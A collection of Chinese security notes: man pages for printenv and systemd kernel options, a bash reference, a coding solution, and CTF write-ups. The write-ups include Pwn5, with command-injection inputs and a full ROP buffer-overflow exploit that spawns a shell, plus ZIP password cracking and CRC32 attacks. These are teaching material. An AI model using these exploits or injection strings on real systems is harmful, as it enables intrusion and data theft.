\fBprintenv\fP [\fI\,选项\/\fP]... [\fI\,变量\/\fP]...
.SH 描述
.\" Add any additional description here
.PP
显示指定环境变量的值。如果没有指定变量,则显示所有配对的变量名称与值。
.TP
\fB\-0\fP, \fB\-\-null\fP
使每行输出以 NUL 字符结束,不添加换行符
.TP
\fB\-\-help\fP
显示此帮助信息并退出
.TP
\fB\-\-version\fP
显示版本信息并退出
.PP
注意:您的 shell 可能内置了自己的 printenv 程序版本,它通常会覆盖这里所提及的相应版本。请查阅您的 shell 文档获知它所支持的选项。
.SH 作者
由 David MacKenzie 和 Richard Mlynarik 编写。
.SH 报告错误
GNU coreutils 的在线帮助: <https://www.gnu.org/software/coreutils/>
.br
请向 <https://translationproject.org/team/zh_CN.html> 报告翻译错误。
.SH 版权
Copyright \(co 2022 Free Software Foundation, Inc. License GPLv3+: GNU GPL
version 3 or later <https://gnu.org/licenses/gpl.html>.
.br
This is free software: you are free to change and redistribute it. There is
NO WARRANTY, to the extent permitted by law.
.SH 参见
完整文档请见: <https://www.gnu.org/software/coreutils/printenv>
.br
或者在本地使用: info \(aq(coreutils) printenv invocation\(aq
|
sec-knowleage
|
break
===
结束for,while或until循环。
## 概要
```shell
break [n]
```
## 主要用途
- 结束for,while或until循环,可指定退出几层循环。
## 参数
n(可选):大于等于1的整数,用于指定退出几层循环。
## 返回值
返回成功除非n小于1。
## 例子
```shell
# break的可选参数n缺省值为1。
# 从外层for循环继续执行。
for((i=3;i>0;i--)); do
for((j=3;j>0;j--)); do
if((j==2)); then
# 换成break 1时结果一样
break
fi
printf "%s %s\n" ${i} ${j}
done
done
# 输出结果
3 3
2 3
1 3
```
```shell
# 当n为2时:
# 退出两层循环,结束。
for((i=3;i>0;i--)); do
for((j=3;j>0;j--)); do
if((j==2)); then
break 2
fi
printf "%s %s\n" ${i} ${j}
done
done
# 输出结果
3 3
```
### 注意
1. 该命令是bash内建命令,相关的帮助信息请查看`help`命令。
|
sec-knowleage
|
'\" t
.TH "KERNEL\-COMMAND\-LINE" "7" "" "systemd 231" "kernel-command-line"
.\" -----------------------------------------------------------------
.\" * Define some portability stuff
.\" -----------------------------------------------------------------
.\" ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
.\" http://bugs.debian.org/507673
.\" http://lists.gnu.org/archive/html/groff/2009-02/msg00013.html
.\" ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
.ie \n(.g .ds Aq \(aq
.el .ds Aq '
.\" -----------------------------------------------------------------
.\" * set default formatting
.\" -----------------------------------------------------------------
.\" disable hyphenation
.nh
.\" disable justification (adjust text to left margin only)
.ad l
.\" -----------------------------------------------------------------
.\" * MAIN CONTENT STARTS HERE *
.\" -----------------------------------------------------------------
.SH "NAME"
kernel-command-line \- 内核引导选项
.SH "SYNOPSIS"
.PP
/proc/cmdline
.SH "描述"
.PP
内核与 initrd(initial RAM disk) 以及基础用户空间功能, 可以通过内核引导选项在系统引导时配置。
.PP
有关内核可以理解的引导选项,可以参考
\m[blue]\fBkernel\-parameters\&.txt\fR\m[]\&\s-2\u[1]\d\s+2
与
\fBbootparam\fR(7)
文档。
.PP
有关 initrd(initial RAM disk) 可以理解的引导参数, 可以参考对应发行版的相关文档以及
\fBdracut.cmdline\fR(7)
之类的文档。
.SH "核心参数"
.PP
\fIsystemd\&.unit=\fR, \fIrd\&.systemd\&.unit=\fR, \fIsystemd\&.dump_core=\fR, \fIsystemd\&.crash_chvt=\fR, \fIsystemd\&.crash_shell=\fR, \fIsystemd\&.crash_reboot=\fR, \fIsystemd\&.confirm_spawn=\fR, \fIsystemd\&.show_status=\fR, \fIsystemd\&.log_target=\fR, \fIsystemd\&.log_level=\fR, \fIsystemd\&.log_color=\fR, \fIsystemd\&.log_location=\fR, \fIsystemd\&.default_standard_output=\fR, \fIsystemd\&.default_standard_error=\fR, \fIsystemd\&.setenv=\fR, \fIsystemd\&.machine_id=\fR
.RS 4
控制 systemd 行为的参数, 详见
\fBsystemd\fR(1)
手册。
.RE
.PP
\fIsystemd\&.mask=\fR, \fIsystemd\&.wants=\fR, \fIsystemd\&.debug\-shell\fR
.RS 4
传递给
\fBsystemd-debug-generator\fR(8)
的参数, 分别用于在启动时:屏蔽指定的单元、启动指定的单元、 在 tty9 上启动一个调试SHELL
.RE
.PP
\fIsystemd\&.restore_state=\fR
.RS 4
作用于多个系统工具, 用于控制是否恢复到上一次系统运行时的状态。 详见
\fBsystemd-backlight@.service\fR(8)
与
\fBsystemd-rfkill.service\fR(8)
手册。
.RE
.PP
\fIquiet\fR
.RS 4
内核和 systemd 都理解此选项, 表示不在控制台上显示详细的日志消息。 详见
\fBsystemd\fR(1)
手册。
.RE
.PP
\fIdebug\fR
.RS 4
内核和 systemd 都理解此选项, 表示要在控制台上显示详细的调试信息。 详见
\fBsystemd\fR(1)
手册。
.RE
.PP
\fI\-b\fR, \fIrd\&.emergency\fR, \fIemergency\fR, \fIrd\&.rescue\fR, \fIrescue\fR, \fIsingle\fR, \fIs\fR, \fIS\fR, \fI1\fR, \fI2\fR, \fI3\fR, \fI4\fR, \fI5\fR
.RS 4
出于兼容老旧系统而设置的参数, 仅能被 systemd 理解,详见
\fBsystemd\fR(1)
手册。
.RE
.PP
\fIlocale\&.LANG=\fR, \fIlocale\&.LANGUAGE=\fR, \fIlocale\&.LC_CTYPE=\fR, \fIlocale\&.LC_NUMERIC=\fR, \fIlocale\&.LC_TIME=\fR, \fIlocale\&.LC_COLLATE=\fR, \fIlocale\&.LC_MONETARY=\fR, \fIlocale\&.LC_MESSAGES=\fR, \fIlocale\&.LC_PAPER=\fR, \fIlocale\&.LC_NAME=\fR, \fIlocale\&.LC_ADDRESS=\fR, \fIlocale\&.LC_TELEPHONE=\fR, \fIlocale\&.LC_MEASUREMENT=\fR, \fIlocale\&.LC_IDENTIFICATION=\fR
.RS 4
控制本地化与语言的设置, 仅能被 systemd 理解。 详见
\fBsystemd\fR(1)
手册。
.RE
.PP
\fIfsck\&.mode=\fR, \fIfsck\&.repair=\fR
.RS 4
传递给
\fBsystemd-fsck@.service\fR(8)
的参数。
.RE
.PP
\fIquotacheck\&.mode=\fR
.RS 4
传递给
\fBsystemd-quotacheck.service\fR(8)
的参数。
.RE
.PP
\fIsystemd\&.journald\&.forward_to_syslog=\fR, \fIsystemd\&.journald\&.forward_to_kmsg=\fR, \fIsystemd\&.journald\&.forward_to_console=\fR, \fIsystemd\&.journald\&.forward_to_wall=\fR
.RS 4
传递给
\fBsystemd-journald.service\fR(8)
的参数。
.RE
.PP
\fIvconsole\&.keymap=\fR, \fIvconsole\&.keymap\&.toggle=\fR, \fIvconsole\&.font=\fR, \fIvconsole\&.font\&.map=\fR, \fIvconsole\&.font\&.unimap=\fR
.RS 4
传递给
\fBsystemd-vconsole-setup.service\fR(8)
的参数。
.RE
.PP
\fIudev\&.log\-priority=\fR, \fIrd\&.udev\&.log\-priority=\fR, \fIudev\&.children\-max=\fR, \fIrd\&.udev\&.children\-max=\fR, \fIudev\&.exec\-delay=\fR, \fIrd\&.udev\&.exec\-delay=\fR, \fIudev\&.event\-timeout=\fR, \fIrd\&.udev\&.event\-timeout=\fR, \fInet\&.ifnames=\fR
.RS 4
传递给
\fBsystemd-udevd.service\fR(8)
的参数。
.RE
.PP
\fIplymouth\&.enable=\fR
.RS 4
开启/关闭Plymouth启动画面, 详见
\fBplymouth\fR(8)
手册。
.RE
.PP
\fIluks=\fR, \fIrd\&.luks=\fR, \fIluks\&.crypttab=\fR, \fIrd\&.luks\&.crypttab=\fR, \fIluks\&.name=\fR, \fIrd\&.luks\&.name=\fR, \fIluks\&.uuid=\fR, \fIrd\&.luks\&.uuid=\fR, \fIluks\&.options=\fR, \fIrd\&.luks\&.options=\fR, \fIluks\&.key=\fR, \fIrd\&.luks\&.key=\fR
.RS 4
设置LUKS全盘加密相关属性。 详见
\fBsystemd-cryptsetup-generator\fR(8)
手册。
.RE
.PP
\fIfstab=\fR, \fIrd\&.fstab=\fR
.RS 4
设置是否应该使用
/etc/fstab
文件, 详见
\fBsystemd-fstab-generator\fR(8)
手册。
.RE
.PP
\fIroot=\fR, \fIrootfstype=\fR, \fIrootflags=\fR, \fIro\fR, \fIrw\fR
.RS 4
设置根文件系统的相关信息: 所在设备、文件系统类型、挂载选项、只读挂载、读写挂载。 详见
\fBsystemd-fstab-generator\fR(8)
手册。
.RE
.PP
\fIsystemd\&.gpt_auto=\fR, \fIrd\&.systemd\&.gpt_auto=\fR
.RS 4
设置是否应该开启GPT磁盘分区自动发现。 详见
\fBsystemd-gpt-auto-generator\fR(8)
手册。
.RE
.PP
\fIsystemd\&.default_timeout_start_sec=\fR
.RS 4
覆盖
\fIDefaultTimeoutStartSec=\fR
的设置。 详见
\fBsystemd-system.conf\fR(5)
手册。
.RE
.PP
\fImodules\-load=\fR, \fIrd\&.modules\-load=\fR
.RS 4
指定在系统启动的早期就必须加载的内核模块。 详见
\fBsystemd-modules-load.service\fR(8)
手册。
.RE
.PP
\fIresume=\fR
.RS 4
指定从哪个设备中恢复休眠状态, 支持所有
\fBfstab\fR(5)
风格的设备表示法(fs_spec)。详见
\fBsystemd-hibernate-resume-generator\fR(8)
手册。
.RE
.SH "参见"
.PP
\fBsystemd\fR(1),
\fBbootparam\fR(7),
\fBdracut.cmdline\fR(7),
\fBsystemd-debug-generator\fR(8),
\fBsystemd-fsck@.service\fR(8),
\fBsystemd-quotacheck.service\fR(8),
\fBsystemd-journald.service\fR(8),
\fBsystemd-vconsole-setup.service\fR(8),
\fBsystemd-udevd.service\fR(8),
\fBplymouth\fR(8),
\fBsystemd-cryptsetup-generator\fR(8),
\fBsystemd-fstab-generator\fR(8),
\fBsystemd-gpt-auto-generator\fR(8),
\fBsystemd-modules-load.service\fR(8),
\fBsystemd-backlight@.service\fR(8),
\fBsystemd-rfkill.service\fR(8),
\fBsystemd-hibernate-resume-generator\fR(8)
.SH "NOTES"
.IP " 1." 4
kernel-parameters.txt
.RS 4
\%//kernel/boot_parameters.html
.RE
.\" manpages-zh translator: 金步国
.\" manpages-zh comment: 金步国作品集:http://www.jinbuguo.com
|
sec-knowleage
|
# 40. 最小的 K 个数
## 题目链接
[牛客网](https://www.nowcoder.com/practice/6a296eb82cf844ca8539b57c23e6e9bf?tpId=13&tqId=11182&tPage=1&rp=1&ru=/ta/coding-interviews&qru=/ta/coding-interviews/question-ranking&from=cyc_github)
## 解题思路
### 大小为 K 的最小堆
- 复杂度:O(NlogK) + O(K)
- 特别适合处理海量数据
维护一个大小为 K 的最小堆过程如下:使用大顶堆。在添加一个元素之后,如果大顶堆的大小大于 K,那么将大顶堆的堆顶元素去除,也就是将当前堆中值最大的元素去除,从而使得留在堆中的元素都比被去除的元素来得小。
应该使用大顶堆来维护最小堆,而不能直接创建一个小顶堆并设置一个大小,企图让小顶堆中的元素都是最小元素。
Java 的 PriorityQueue 实现了堆的能力,PriorityQueue 默认是小顶堆,可以在在初始化时使用 Lambda 表达式 (o1, o2) -\> o2 - o1 来实现大顶堆。其它语言也有类似的堆数据结构。
```java
public ArrayList<Integer> GetLeastNumbers_Solution(int[] nums, int k) {
if (k > nums.length || k <= 0)
return new ArrayList<>();
PriorityQueue<Integer> maxHeap = new PriorityQueue<>((o1, o2) -> o2 - o1);
for (int num : nums) {
maxHeap.add(num);
if (maxHeap.size() > k)
maxHeap.poll();
}
return new ArrayList<>(maxHeap);
}
```
### 快速选择
- 复杂度:O(N) + O(1)
- 只有当允许修改数组元素时才可以使用
快速排序的 partition() 方法,会返回一个整数 j 使得 a[l..j-1] 小于等于 a[j],且 a[j+1..h] 大于等于 a[j],此时 a[j] 就是数组的第 j 大元素。可以利用这个特性找出数组的第 K 个元素,这种找第 K 个元素的算法称为快速选择算法。
```java
public ArrayList<Integer> GetLeastNumbers_Solution(int[] nums, int k) {
ArrayList<Integer> ret = new ArrayList<>();
if (k > nums.length || k <= 0)
return ret;
findKthSmallest(nums, k - 1);
/* findKthSmallest 会改变数组,使得前 k 个数都是最小的 k 个数 */
for (int i = 0; i < k; i++)
ret.add(nums[i]);
return ret;
}
public void findKthSmallest(int[] nums, int k) {
int l = 0, h = nums.length - 1;
while (l < h) {
int j = partition(nums, l, h);
if (j == k)
break;
if (j > k)
h = j - 1;
else
l = j + 1;
}
}
private int partition(int[] nums, int l, int h) {
int p = nums[l]; /* 切分元素 */
int i = l, j = h + 1;
while (true) {
while (i != h && nums[++i] < p) ;
while (j != l && nums[--j] > p) ;
if (i >= j)
break;
swap(nums, i, j);
}
swap(nums, l, j);
return j;
}
private void swap(int[] nums, int i, int j) {
int t = nums[i];
nums[i] = nums[j];
nums[j] = t;
}
```
|
sec-knowleage
|
# Pwn5
Pwn, 372 points
## Description:
A binary file was attached, in addition to an address and port.
## Solution:
Let's run the binary:
```console
root@kali:/media/sf_CTFs/tamu/Pwn5# nc pwn.tamuctf.com 4325
ls as a service (laas)(Copyright pending)
Version 2: Less secret strings and more portable!
Enter the arguments you would like to pass to ls:
-al
Result of ls -al:
total 728
drwxr-xr-x 1 root root 4096 Feb 19 20:47 .
drwxr-xr-x 1 root root 4096 Mar 14 21:45 ..
-r--r--r-- 1 pwnflag pwnflag 32 Feb 19 20:46 flag.txt
-rwsr-xr-x 1 pwnflag pwnflag 730072 Feb 19 20:46 pwn5
ls as a service (laas)(Copyright pending)
Version 2: Less secret strings and more portable!
Enter the arguments you would like to pass to ls:
|cat flag.txt
Result of ls |ca:
ls as a service (laas)(Copyright pending)
Version 2: Less secret strings and more portable!
Enter the arguments you would like to pass to ls:
-alt
Result of ls -al:
total 728
drwxr-xr-x 1 root root 4096 Feb 19 20:47 .
drwxr-xr-x 1 root root 4096 Mar 14 21:45 ..
-r--r--r-- 1 pwnflag pwnflag 32 Feb 19 20:46 flag.txt
-rwsr-xr-x 1 pwnflag pwnflag 730072 Feb 19 20:46 pwn5
ls as a service (laas)(Copyright pending)
Version 2: Less secret strings and more portable!
Enter the arguments you would like to pass to ls:
```
This challenge looks like the previous one ([Pwn4](Pwn4.md)) but this time cuts our input after three characters. For example, if we enter `-alt` as the parameter, only `-al` is executed.
At first I tried piping to a two-letter command:
```
root@kali:/media/sf_CTFs/tamu/Pwn5# ls /bin/?? /usr/bin/?? /sbin/??
/bin/cp /bin/ip /bin/mt /bin/ps /bin/ss /sbin/iw /usr/bin/ar /usr/bin/bc /usr/bin/ex /usr/bin/hd /usr/bin/ld /usr/bin/nm /usr/bin/r2 /usr/bin/tr /usr/bin/vi
/bin/dd /bin/ln /bin/mv /bin/rm /bin/su /sbin/tc /usr/bin/as /usr/bin/cc /usr/bin/gc /usr/bin/id /usr/bin/m4 /usr/bin/od /usr/bin/ri /usr/bin/ts /usr/bin/wc
/bin/df /bin/ls /bin/nc /bin/sh /sbin/ip /usr/bin/7z /usr/bin/b2 /usr/bin/du /usr/bin/gs /usr/bin/js /usr/bin/nl /usr/bin/pr /usr/bin/sg /usr/bin/ul /usr/bin/xz
root@kali:/media/sf_CTFs/tamu/Pwn5# nc pwn.tamuctf.com 4325
ls as a service (laas)(Copyright pending)
Version 2: Less secret strings and more portable!
Enter the arguments you would like to pass to ls:
|su
Result of ls |su:
ls as a service (laas)(Copyright pending)
Version 2: Less secret strings and more portable!
Enter the arguments you would like to pass to ls:
|sh
Result of ls |sh:
ls as a service (laas)(Copyright pending)
Version 2: Less secret strings and more portable!
Enter the arguments you would like to pass to ls:
|wc
Result of ls |wc:
2 2 14
ls as a service (laas)(Copyright pending)
Version 2: Less secret strings and more portable!
Enter the arguments you would like to pass to ls:
```
I hoped that `sh` would work, but it unfortunately didn't.
[Update: From reading other writeups, all I needed was in fact to pass ";sh" instead of "|sh"].
Trying `vi` gave an interesting output but seemed to exit immediately:
```console
root@kali:/media/sf_CTFs/tamu/Pwn5# nc pwn.tamuctf.com 4325
ls as a service (laas)(Copyright pending)
Version 2: Less secret strings and more portable!
Enter the arguments you would like to pass to ls:
|vi
Result of ls |vi:
~
~
~ VIM - Vi IMproved
~
~ version 7.4.1689
~ by Bram Moolenaar et al.
~ Modified by pkg-vim-maintainers@lists.alioth.debian.org
~ Vim is open source and freely distributable
~
~ Help poor children in Uganda!
~ type :help iccf<Enter> for information
~
~ type :q<Enter> to exit
~ type :help<Enter> or <F1> for on-line help
~ type :help version7<Enter> for version info
~
~ Running in Vi compatible mode
~ type :set nocp<Enter> for Vim defaults
~ type :help cp-default<Enter> for info on this
~
~
~
ls as a service (laas)(Copyright pending)
Version 2: Less secret strings and more portable!
Enter the arguments you would like to pass to ls:
```
At last, I opened the binary in a disassembler.
One thing that was immediately obvious from the function list was that this ELF was statically linked. This can be also seen using the following indications:
```console
root@kali:/media/sf_CTFs/tamu/Pwn5# ldd pwn5
not a dynamic executable
root@kali:/media/sf_CTFs/tamu/Pwn5# file pwn5
pwn5: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.32, BuildID[sha1]=f9690a5a90e54f8336b65636e719feac16798d50, not stripped
```
Let's check the decompilation using ghidra:
```c
void laas(void)
{
int res;
char usr_cmd [13];
puts("ls as a service (laas)(Copyright pending)");
puts("Version 2: Less secret strings and more portable!");
puts("Enter the arguments you would like to pass to ls:");
gets(usr_cmd);
res = (int)strchr(usr_cmd,'/');
if (res == 0) {
run_cmd(usr_cmd);
}
else {
puts("No slashes allowed");
}
return;
}
void run_cmd(undefined4 user_cmd)
{
char cmd_buf [18];
snprintf(cmd_buf,7,"ls %s",user_cmd);
printf("Result of %s:\n",cmd_buf);
system(cmd_buf);
return;
}
```
The `snprintf` docs say:
> Composes a string with the same text that would be printed if format was used on printf, but instead of being printed, the content is stored as a C string in the buffer pointed by s (taking n as the maximum buffer capacity to fill).
>
> If the resulting string would be longer than n-1 characters, the remaining characters are discarded and not stored, but counted for the value returned by the function.
>
> A terminating null character is automatically appended after the content written.
So since `n = 7` and `len("ls ") = 3`, this leaves 3 characters apart from the null terminator, like we saw earlier - not much to work with.
The `gets` call to populate `usr_cmd` on the other hand seems much more promising - we can use it to overflow the buffer and override the return address of the function.
We know that the program calls `system`, and that it's statically linked into the ELF, so all we need for a successful ROP attack is to find some parameter to send to `system`.
Luckily, somewhere inside the binary we have exactly what we need:
```console
root@kali:/media/sf_CTFs/tamu/Pwn5# strings pwn5 | grep /bin/sh
/bin/sh
```
Let's put it all together with `pwntools`:
```python
import os
from pwn import *
LOCAL_PATH = "./pwn5"
REMOTE_PATH = ("pwn.tamuctf.com", 4325)
def get_process(is_remote):
if is_remote:
p = remote(*REMOTE_PATH)
else:
p = process(LOCAL_PATH)
return p
def send_payload(proc, payload):
proc.sendlineafter("Enter the arguments you would like to pass to ls:", payload)
def get_overflow_offset():
# It's problematic to create a core dump on an NTFS file system,
# so reconfigure core dumps to be created elsewhere
os.system("echo ~/core/core_dump > /proc/sys/kernel/core_pattern")
os.system("rm ./core.*")
payload = cyclic(320)
proc = get_process(is_remote = False)
send_payload(proc, payload)
proc.wait()
offset = cyclic_find(proc.corefile.eip)
return offset
e = ELF(LOCAL_PATH)
context.binary = e.path
overflow_offset = get_overflow_offset()
log.info("overflow offset: {}".format(overflow_offset))
system_addr = e.symbols["system"]
log.info("system() address: {}".format(hex(system_addr)))
binsh_addr = next(e.search('/bin/sh\x00'))
log.info("/bin/sh address: {}".format(hex(binsh_addr)))
rop = ROP(context.binary)
rop.system(binsh_addr)
print rop.dump()
p = get_process(args.REMOTE)
payload = fit({overflow_offset: str(rop)}, filler = 'A')
log.info("Sending payload: {}".format(enhex(payload)))
p.sendline(payload)
p.interactive()
```
Output:
```console
root@kali:/media/sf_CTFs/tamu/Pwn5# python exploit.py REMOTE
[*] '/media/sf_CTFs/tamu/Pwn5/pwn5'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
[+] Starting local process './pwn5': pid 3979
[*] Process './pwn5' stopped with exit code -11 (SIGSEGV) (pid 3979)
[+] Parsing corefile...: Done
[*] '/media/sf_CTFs/tamu/Pwn5/core.3979'
Arch: i386-32-little
EIP: 0x66616161
ESP: 0xffb33cd0
Exe: '/media/sf_CTFs/tamu/Pwn5/pwn5' (0x8048000)
Fault: 0x66616161
[*] overflow offset: 17
[*] system() address: 0x804ee30
[*] /bin/sh address: 0x80bc140
[*] Loaded cached gadgets for '/media/sf_CTFs/tamu/Pwn5/pwn5'
0x0000: 0x804ee30 system(0x80bc140)
0x0004: 'baaa' <return address>
0x0008: 0x80bc140 arg0
[+] Opening connection to pwn.tamuctf.com on port 4325: Done
[*] Sending payload: 414141414141414141414141414141414130ee04086261616140c10b08
[*] Switching to interactive mode
ls as a service (laas)(Copyright pending)
Version 2: Less secret strings and more portable!
Enter the arguments you would like to pass to ls:
Result of ls AAA:
$ ls
flag.txt
pwn5
$ cat flag.txt
gigem{r37urn_0r13n73d_pr4c71c3}
$ exit
$
[*] Got EOF while reading in interactive
$
$
[*] Closed connection to pwn.tamuctf.com port 4325
[*] Got EOF while sending in interactive
```
|
sec-knowleage
|
# Episode 1: Challenge 2
## Description
> Can you find a way to stop the hackers that encrypted your data?
>
> Hint: Find a way to switch it off.
An executable was attached.
## Solution
Let's check the executable:
```console
┌──(user@kali)-[/media/…/h4ck1ng.google/EP001/Challenge_02/a]
└─$ ./wannacry
```
Nothing happens. Let's open in in Ghidra and check the disassembly:
```c
undefined8 main(void)
{
return 0;
}
```
Well, `main` is empty. What else do we have there?
```c
void print(void)
{
char *__s;
size_t sVar1;
__s = (char *)correct_code();
sVar1 = strlen(DOMAIN);
write(1,DOMAIN,sVar1);
sVar1 = strlen(__s);
write(1,__s,sVar1);
return;
}
undefined8 correct_code(void)
{
long local_20;
int local_14;
int local_10;
uint local_c;
local_c = totp();
local_10 = 0;
for (local_14 = 0; local_14 < 5; local_14 = local_14 + 1) {
local_20 = count_ones(local_c & 0x3f);
if (local_20 != 0) {
local_20 = local_20 + -1;
}
local_c = local_c >> 6;
local_10 = local_10 * 6 + (int)local_20;
}
return *(undefined8 *)(wordlist + (long)local_10 * 8);
}
void totp(void)
{
undefined local_28 [19];
byte local_15;
undefined local_11 [8];
byte local_9;
time_now(local_11);
sha1_hash(local_11,8,local_28);
local_9 = local_15 & 0xf;
extract31(local_28,local_9);
return;
}
int extract31(long param_1,byte param_2) {/*...*/}
long count_ones(byte param_1) {/*...*/}
void sha1_hash(undefined8 param_1,undefined8 param_2,long param_3) {/*...*/}
```
We can try and reverse all that, but from the looks of it, if we call `print` during runtime we might get some interesting output. Let's try to do that:
```console
┌──(user@kali)-[/media/…/h4ck1ng.google/EP001/Challenge_02/a]
└─$ gdb -nx --silent ./wannacry
Reading symbols from ./wannacry...
(No debugging symbols found in ./wannacry)
(gdb) b main
Breakpoint 1 at 0x2f87a
(gdb) r
Starting program: /media/sf_CTFs/h4ck1ng.google/EP001/Challenge_02/a/wannacry
Breakpoint 1, 0x000055555558387a in main ()
(gdb) info functions ^print$
All functions matching regular expression "^print$":
Non-debugging symbols:
0x0000555555583817 print
(gdb) call ((void(*)())0x0000555555583817)()
https://wannacry-killswitch-dot-gweb-h4ck1ng-g00gl3.uc.r.appspot.com//spindle
```
If we access the URL fast enough, we get the flag. We can even pack it all into a single command:
```console
┌──(user@kali)-[/media/…/h4ck1ng.google/EP001/Challenge_02/a]
└─$ curl $(gdb -nx --silent -ex 'set disable-randomization on' -ex 'set confirm off' -ex 'dprintf main, "\n%s\n", ((void(*)())0x0000555555583817)()' -ex 'r' -ex 'q' ./wannacry 2>/dev/null | grep http) -s | grep solve
<div id="txt">https://h4ck1ng.google/solve/who_turned_off_the_lights</div>
```
|
sec-knowleage
|
# ZIP 格式
## 文件结构
`ZIP` 文件主要由三部分构成,分别为
| 压缩源文件数据区 | 核心目录 | 目录结束 |
| ----------------------------------------------- | ----------------- | ------------------------------- |
| local file header + file data + data descriptor | central directory | end of central directory record |
- 压缩源文件数据区中每一个压缩的源文件或目录都是一条记录,其中
- `local file header` :文件头用于标识该文件的开始,记录了该压缩文件的信息,这里的文件头标识由固定值 `50 4B 03 04` 开头,也是 `ZIP` 的文件头的重要标志
- `file data` :文件数据记录了相应压缩文件的数据
- `data descriptor` :数据描述符用于标识该文件压缩结束,该结构只有在相应的 `local file header` 中通用标记字段的第 `3 bit` 设为 `1` 时才会出现,紧接在压缩文件源数据后
- `Central directory` 核心目录
- 记录了压缩文件的目录信息,在这个数据区中每一条纪录对应在压缩源文件数据区中的一条数据。
| Offset | Bytes | Description | 译 |
| ------ | ----- | ---------------------------------------------------- | --------------------------------------- |
| 0 | 4 | Central directory file header signature = 0x02014b50 | 核心目录文件 header标识 =(0x02014b50) |
| 4 | 2 | Version made by | 压缩所用的 pkware 版本 |
| 6 | 2 | Version needed to extract (minimum) | 解压所需 pkware 的最低版本 |
| 8 | 2 | General purpose bit flag | 通用位标记伪加密 |
| 10 | 2 | Compression method | 压缩方法 |
| 12 | 2 | File last modification time | 文件最后修改时间 |
| 14 | 2 | File last modification date | 文件最后修改日期 |
| 16 | 4 | CRC-32 | CRC-32 校验码 |
| 20 | 4 | Compressed size | 压缩后的大小 |
| 24 | 4 | Uncompressed size | 未压缩的大小 |
| 28 | 2 | File name length (n) | 文件名长度 |
| 30 | 2 | Extra field length (m) | 扩展域长度 |
| 32 | 2 | File comment length (k) | 文件注释长度 |
| 34 | 2 | Disk number where file starts | 文件开始位置的磁盘编号 |
| 36 | 2 | Internal file attributes | 内部文件属性 |
| 38 | 4 | External file attributes | 外部文件属性 |
| 42 | 4 | relative offset of local header | 本地文件头的相对位移 |
| 46 | n | File name | 目录文件名 |
| 46+n | m | Extra field | 扩展域 |
| 46+n+m | k | File comment | 文件注释内容 |
- `End of central directory record(EOCD)` 目录结束标识
- 目录结束标识存在于整个归档包的结尾,用于标记压缩的目录数据的结束。每个压缩文件必须有且只有一个 `EOCD` 记录。
更加详细参见 [官方文档](https://pkware.cachefly.net/webdocs/APPNOTE/APPNOTE-6.2.0.txt)。
## 主要攻击
### 爆破
这里主要介绍两款爆破使用的工具
- `Windows`下的神器 [ARCHPR](http://www.downcc.com/soft/130539.html)
暴力枚举,跑字典,明文攻击,应有尽有。
- `Linux` 下的命令行工具 [fcrackzip](https://github.com/hyc/fcrackzip)
```shell
# -b 指定模式为暴破,-c1指定密码类型为纯数字,其它类型可以rtfm,-u这个参数非常重要不然不显示破解出来的密码,-l 5-6可以指定长度
root@kali:fcrackzip -b -c1 -u test.zip
```
### CRC32
#### 原理
`CRC` 本身是「冗余校验码」的意思,`CRC32` 则表示会产生一个 `32 bit` ( `8` 位十六进制数)的校验值。由于 `CRC32` 产生校验值时源数据块的每一个 `bit` (位)都参与了计算,所以数据块中即使只有一位发生了变化,也会得到不同的 `CRC32` 值。
`CRC32` 校验码出现在很多文件中比如 `png` 文件,同样 `zip` 中也有 `CRC32` 校验码。值得注意的是 `zip` 中的 `CRC32` 是未加密文件的校验值。
这也就导致了基于 `CRC32` 的攻击手法。
- 文件内内容很少(一般比赛中大多为 `4` 字节左右)
- 加密的密码很长
我们不去爆破压缩包的密码,而是直接去爆破源文件的内容(一般都是可见的字符串),从而获取想要的信息。
比如我们新建一个 `flag.txt`,其中内容为 `123`,使用密码 `!QAZXSW@#EDCVFR$` 去加密。
而我们去计算文件的 `CRC32` 值发现和上图中的 `CRC32` 值吻合。
```shell
文件: flag.txt
大小: 3
时间: Tue, 29 Aug 2017 10:38:10 +0800
MD5: 202cb962ac59075b964b07152d234b70
SHA1: 40bd001563085fc35165329ea1ff5c5ecbdbbeef
CRC32: 884863D2
```
!!! note
在爆破时我们所枚举的所有可能字符串的 `CRC32` 值是要与压缩源文件数据区中的 `CRC32` 值所对应
```python
# -*- coding: utf-8 -*-
import binascii
import base64
import string
import itertools
import struct
alph = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/='
crcdict = {}
print "computing all possible CRCs..."
for x in itertools.product(list(alph), repeat=4):
st = ''.join(x)
testcrc = binascii.crc32(st)
crcdict[struct.pack('<i', testcrc)] = st
print "Done!"
f = open('flag.zip')
data = f.read()
f.close()
crc = ''.join(data[14:18])
if crc in crcdict:
print crcdict[crc]
else:
print "FAILED!"
```
#### 例题
> 题目:`Abctf-2016:Zippy`
根据每个压缩包内的文件大小可以推断使用 `CRC32` 攻击手法,获得每个压缩包内的内容后连在一起 `Base64` 解码后是一个加密的压缩包,爆破获得 `flag`。
### 明文攻击
#### 原理
- 一个加密的压缩文件
- 压缩文件的压缩工具,比如 `2345` 好压, `WinRAR` , `7z` 。 `zip` 版本号等,可以通过文件属性了解。如果是 `Linux` 平台,用 `zipinfo -v` 可以查看一个 `zip` 包的详细信息,包括加密算法等
- 知道压缩包里某个文件的部分连续内容(至少 `12` 字节)
如果你已经知道加密文件的部分内容,比如在某个网站上发现了它的 `readme.txt` 文件,你就可以开始尝试破解了。
首先,将这个明文文件打包成 `zip` 包,比如将 `readme.txt` 打包成 `readme.zip` 。
打包完成后,需要确认二者采用的压缩算法相同。一个简单的判断方法是用 `WinRAR` 打开文件,同一个文件压缩后的体积是否相同。如果相同,基本可以说明你用的压缩算法是正确的。如果不同,就尝试另一种压缩算法。
#### 工具
- Windows下的神器 [ARCHPR](http://www.downcc.com/soft/130539.html)
- Linux下的 [PKCrack](http://www.unix-ag.uni-kl.de/~conrad/krypto/pkcrack.html)
!!! note
建议使用 `Windows` 的 `ARCHPR`,一是速度较快,二是较稳定(之前出题时遇到过用 `PKCrack` 爆不出来的情况)。
#### 例题
> 2015广州强网杯:爆破?
>
